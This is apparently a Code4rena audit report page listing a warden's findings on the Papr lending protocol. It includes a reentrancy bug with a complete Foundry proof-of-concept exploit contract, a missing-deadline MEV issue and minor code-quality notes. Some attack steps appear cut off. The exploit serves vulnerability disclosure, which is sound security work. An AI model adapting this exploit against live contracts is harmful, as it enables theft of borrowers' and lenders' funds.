Platform: Code4rena
Start Date: 16/12/2022
Pot Size: $60,500 USDC
Total HM: 12
Participants: 58
Period: 5 days
Judge: Trust
Total Solo HM: 4
Id: 196
League: ETH
Rank: 2/58
Findings: 3
Award: $4,158.72
π Selected for report: 1
π Solo Findings: 1
π Selected for report: HE1M
Also found by: Bobface, hihen, rvierdiiev, unforgiven
957.8958 USDC - $957.90
_removeCollateral
PaprController._removeCollateral
purposefully allows for reentrancy to repay debt before the collateral is removed. This reentrancy can be abused to participate in a liquidation auction and reset the debt to zero.
PaprController._removeCollateral
calls safeTransferFrom
on the NFT to be withdrawn, which potentially hands code execution to the caller through the ERC-721 transfer hook. This is intentional and even documented in the code, saying this hook can be used to pay back debt in the same transaction. After transferring the NFT, the function checks that the user is not overly in debt, which would cause a revert.
However, an attacker could also call PaprController.purchaseLiquidationAuctionNFT
during the hook, which, with some previous setup, can cause the attacker's debt to be reset to zero:
PAPR
amount possible, to a) get the maximum amount of PAPR
and b) get as close as possible to liquidation.PaprController.startLiquidationAuction
to start an auction on only the first NFT.
5. Call PaprController.removeCollateral
to remove the second NFT.
6. During the ERC-721 hook, call PaprController.purchaseLiquidationAuctionNFT
to purchase the first NFT. Since removeCollateral
previously set count
to 0
, isLastCollateral
is true. This means that the last if
statement in purchaseLiquidationAuctionNFT
will be executed, setting the remaining debt to zero. We receive the first NFT from the auction.
7. The ERC-721 hook is finished and the code execution returns to removeCollateral
, where there is now zero debt and the NFT is sent out.At the end of the process the attacker owns both NFTs and PAPR
which was earlier borrowed. The profit could even be further increased by waiting for a while after the auction started for the price to reduce. This bears the risk that someone else liquidates the position first.
Either use transferFrom
in PaprController._removeCollateral
to not execute the ERC-721 hook or use reentrancy guards such as Open Zeppelin ReentrancyGuard on the affected functions to disallow reentrancy.
Paste the following test into test/paprController
and run it using
MAINNET_RPC_URL=<ENDPOINT URL> forge test -m testExploit -vv
The -vv
flag is important to display the console.log
output. The output look as follows:
We own the first NFT: true We own the second NFT: true Amount of PAPR we own: 300000000000000000
import {PaprController} from "../../src/PaprController.sol"; import {ReservoirOracleUnderwriter} from "../../src/ReservoirOracleUnderwriter.sol"; import {BasePaprControllerTest} from "./BasePaprController.ft.sol"; import {IPaprController} from "../../src/interfaces/IPaprController.sol"; import {ERC721TokenReceiver} from "solmate/tokens/ERC721.sol"; import {INFTEDA} from "../../src/NFTEDA/extensions/NFTEDAStarterIncentive.sol"; import "forge-std/console.sol"; contract ExploitTest is BasePaprControllerTest, ERC721TokenReceiver { INFTEDA.Auction auction; uint256 firstNftID = 100; uint256 secondNftID = 200; function testExploit() external { // ============================================================ // // ========================== SETUP =========================== // // ============================================================ // // Mint two NFTs from the same collection nft.mint(address(this), firstNftID); nft.mint(address(this), secondNftID); // ============================================================ // // ====================== ADD COLLATERAL ====================== // // ============================================================ // // Add both NFTs as collateral nft.approve(address(controller), firstNftID); nft.approve(address(controller), secondNftID); IPaprController.Collateral[] memory collateralArr = new IPaprController.Collateral[](2); collateralArr[0] = IPaprController.Collateral({ addr: nft, id: firstNftID }); collateralArr[1] = IPaprController.Collateral({ addr: nft, id: secondNftID }); controller.addCollateral(collateralArr); // ============================================================ // // ========================== BORROW ========================== // // ============================================================ // // Borrow the rough maximum we can. // In reality we could borrow a bit more if we do the exact math, // but for the demo this precision is enough. // The goal is to a) get as much papr as we can and b) get close to the liquidation zone controller.increaseDebt(address(this), nft, 3 * 10**18, oracleInfo); // ============================================================ // // ======================== LIQUIDATE ========================= // // ============================================================ // // The price dropped a bit just now and the position came into liquidation range. // All actions that follow from here on are imagined to take place in a // single transaction by the attacker by using a contract. // Start the liquidation auction for the first NFT only oraclePrice = 1e6; priceKind = ReservoirOracleUnderwriter.PriceKind.TWAP; oracleInfo = _getOracleInfoForCollateral(nft, underlying); auction = controller.startLiquidationAuction( address(this), collateralArr[0], oracleInfo ); // ============================================================ // // ==================== REMOVE COLLATERAL ===================== // // ============================================================ // // Remove the second NFT which we still have deposited as collateral. // This call should revert since we would have only debt and no collateral. // However, re-entering during the transfer hook lets us make this call succeed. priceKind = ReservoirOracleUnderwriter.PriceKind.LOWER; oracleInfo = _getOracleInfoForCollateral(nft, underlying); IPaprController.Collateral[] memory collateralArrRemove = new IPaprController.Collateral[](1); collateralArrRemove[0] = IPaprController.Collateral({ addr: nft, id: secondNftID }); controller.removeCollateral( address(this), collateralArrRemove, oracleInfo ); // Before the lines below get executed, the `onERC721Received` gets called console.log("We own the first NFT:"); console.logBool(nft.ownerOf(firstNftID) == address(this)); console.log("We own the second NFT:"); console.logBool(nft.ownerOf(secondNftID) == address(this)); console.log("Amount of PAPR we own:"); console.logUint(debtToken.balanceOf(address(this))); } function onERC721Received( address from, address, uint256 _id, bytes calldata data ) external override returns (bytes4) { // Check that this is the hook from trying to remove the remaining collateral if (_id != secondNftID) { return ERC721TokenReceiver.onERC721Received.selector; } // ============================================================ // // =================== BUY LIQUIDATION NFT ==================== // // ============================================================ // // Buy the liquidated NFT priceKind = ReservoirOracleUnderwriter.PriceKind.TWAP; oracleInfo = _getOracleInfoForCollateral(nft, underlying); debtToken.approve(address(controller), type(uint256).max); controller.purchaseLiquidationAuctionNFT( auction, type(uint256).max, address(this), oracleInfo ); // Here, our debt has been reset to zero, and `removeCollateral` will not revert. return ERC721TokenReceiver.onERC721Received.selector; } }
#0 - c4-judge
2022-12-25T10:03:44Z
trust1995 marked the issue as satisfactory
#1 - c4-judge
2022-12-25T10:03:48Z
trust1995 marked the issue as primary issue
#2 - c4-judge
2022-12-25T12:53:05Z
trust1995 marked the issue as duplicate of #102
#3 - c4-judge
2022-12-25T17:52:07Z
trust1995 marked the issue as duplicate of #190
#4 - c4-judge
2023-01-04T11:56:39Z
trust1995 marked the issue as not a duplicate
#5 - c4-judge
2023-01-04T11:57:19Z
trust1995 marked the issue as duplicate of #195
#6 - C4-Staff
2023-01-10T22:36:23Z
JeeberC4 marked the issue as duplicate of #102
π Selected for report: Bobface
2846.9697 USDC - $2,846.97
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L208 https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L182
The PaprController
contract does not allow users to submit a deadline for their actions which execute swaps on Uniswap V3. This missing feature enables pending transactions to be maliciously executed at a later point.
AMMs provide their users with an option to limit the execution of their pending actions, such as swaps or adding and removing liquidity. The most common solution is to include a deadline timestamp as a parameter (for example see Uniswap V2 and Uniswap V3). If such an option is not present, users can unknowingly perform bad trades:
tokens
for 1 ETH
and later sell the 1 ETH
for 1000 DAI
.ETH
could have drastically changed. She will still get 1 ETH
but the DAI
value of that output might be significantly lower. She has unknowingly performed a bad trade due to the pending transaction she forgot about.An even worse way this issue can be maliciously exploited is through MEV:
tokens
has gone up significantly since the transaction was signed, meaning Alice would receive a lot more ETH
when the swap is executed. But that also means that her maximum slippage value (sqrtPriceLimitX96
and minOut
in terms of the Papr contracts) is outdated and would allow for significant slippage.Since Papr directly builds on Uniswap V3, such deadline parameters should also be offered to the Papr users when transactions involve performing swaps. However, there is no deadline parameter available. Some functions, such as _increaseDebtAndSell
, are to some degree protected due to the oracle signatures becoming outdated after 20 minutes, though even that could be too long for certain trades. Other functions, such as buyAndReduceDebt
, are entirely unprotected.
Introduce a deadline
parameter to all functions which potentially perform a swap on the user's behalf.
Categorizing this issue into medium versus high was not immediately obvious. I came to the conclusion that this is a high-severity issue for the following reason:
I run an arbitrage MEV bot myself, which also tracks pending transactions in the mempool, though for another reason than the one mentioned in this report. There is a significant amount of pending and even dropped transactions: over 200,000
transactions that are older than one month. These transactions do all kinds of things, from withdrawing from staking contracts to sending funds to CEXs and also performing swaps on DEXs like Uniswap. This goes to show that this issue will in fact be very real, there will be very old pending transactions wanting to perform trades without a doubt. And with the prevalence of advanced MEV bots, these transactions will be exploited as described in the second example above, leading to losses for Papr's users.
Omitted in this case, since the exploit is solely based on the fact that there is no limit on how long a transaction including a swap is allowed to be pending, which can be clearly seen when looking at the mentioned functions.
#0 - trust1995
2022-12-25T10:07:29Z
Will wait for sponsor's comments before ruling on severity.
#1 - c4-judge
2022-12-25T10:07:34Z
trust1995 marked the issue as satisfactory
#2 - Jeiwan
2023-01-03T14:39:23Z
A slippage check is in place, so users are protected from losing funds during swapping: https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/libraries/UniswapHelpers.sol#L58-L60
The only viable attack scenario seems to be stealing of positive slippage by MEV bots. However, a deadline may not protect from this as well, since a spike in price may happen before a deadline. A too short deadline may also cause undesired reverts during gas price volatility. All in all it seems like users will likely cancel or re-submit their transactions instead of waiting for pending ones.
#3 - wilsoncusack
2023-01-03T18:11:17Z
Was going to say what @Jeiwan said. Think it should be med or low.
#4 - c4-sponsor
2023-01-03T18:11:21Z
wilsoncusack marked the issue as disagree with severity
#5 - trust1995
2023-01-04T12:21:25Z
On the fence between L and M. I tend to view "stealing of positive slippage" as meaningful enough to warrant M severity.
#6 - c4-judge
2023-01-04T12:21:31Z
trust1995 changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-01-04T12:21:35Z
trust1995 marked the issue as selected for report
#8 - C4-Staff
2023-01-10T22:30:04Z
JeeberC4 marked the issue as primary issue
π Selected for report: yixxas
Also found by: 0x52, 0xAgro, 0xSmartContract, 0xhacksmithh, Aymen0909, Bnke0x0, Bobface, Breeje, Diana, Franfran, HE1M, HollaDieWaldfee, IllIllI, Jeiwan, RaymondFam, Rolezn, SaharDevep, Secureverse, SmartSek, ak1, bin2chen, brgltd, chrisdior4, gz627, imare, ladboy233, lukris02, oyc_109, rvierdiiev, shark, tnevler, unforgiven, wait
353.8487 USDC - $353.85
The codebase looks well structured and adheres to best practices throughout. A few minor possible improvements are listed below.
The visibility of variables should be explicitly stated, even if the default value is intended.
File | Lines | Description |
---|---|---|
src/PaprToken.sol | 9 | controller |
src/ReservoirOracleUnderwriter.sol | 35 | TWAP_SECONDS |
src/ReservoirOracleUnderwriter.sol | 38 | VALID_FOR |
Avoid duplicate code blocks.
File | Lines | Description |
---|---|---|
src/PaprController.sol | 182 - 205, 493 - 517 | Use memory on the first function and remove the second function. Removing duplicate logic is more important than saving the little amount of gas by the two different implementation for calldata and memory parameters. |
type(...).max
valueWhen checking that a value does not overflow on conversion to a smaller type, use type(...).max
instead of calculating the maximum value through arithmetic.
File | Lines | Description |
---|---|---|
src/PaprController.sol | 473 | newDebt >= 1 << 200 to newDebt > type(uint200).max |
constant
over immutable
Constant variables which are not changed in the constructor
should be constant
instead of immutable
.
File | Lines | Description |
---|---|---|
src/PaprController.sol | 41 | liquidationAuctionMinSpacing |
src/PaprController.sol | 44 | perPeriodAuctionDecayWAD |
src/PaprController.sol | 47 | auctionDecayPeriod |
src/PaprController.sol | 50 | auctionStartPriceMultiplier |
src/PaprController.sol | 54 | liquidationPenaltyBips |
constant
sMagic numbers should be stored as constant
s and given an appropriate name.
File | Lines | Description |
---|---|---|
src/PaprController.sol | 87, 89 | 10 ** 18 |
src/PaprController.sol | 92 | 10000 |
src/UniswapOracleFundingRateController.sol | 138 | 1e18 |
Large numbers should be formatted with underscores to improve readability, e.g. 1000000
-> 1_000_000
.
File | Lines | Description |
---|---|---|
src/PaprController.sol | 54 | 1000 |
src/PaprController.sol | 92 | 10000 |
#0 - c4-judge
2022-12-25T10:10:26Z
trust1995 marked the issue as grade-b
#1 - trust1995
2022-12-25T10:10:36Z
B-
#2 - trust1995
2023-01-08T10:16:03Z
Up to A due to downgraded HM reports.
#3 - c4-judge
2023-01-08T10:16:07Z
trust1995 marked the issue as grade-a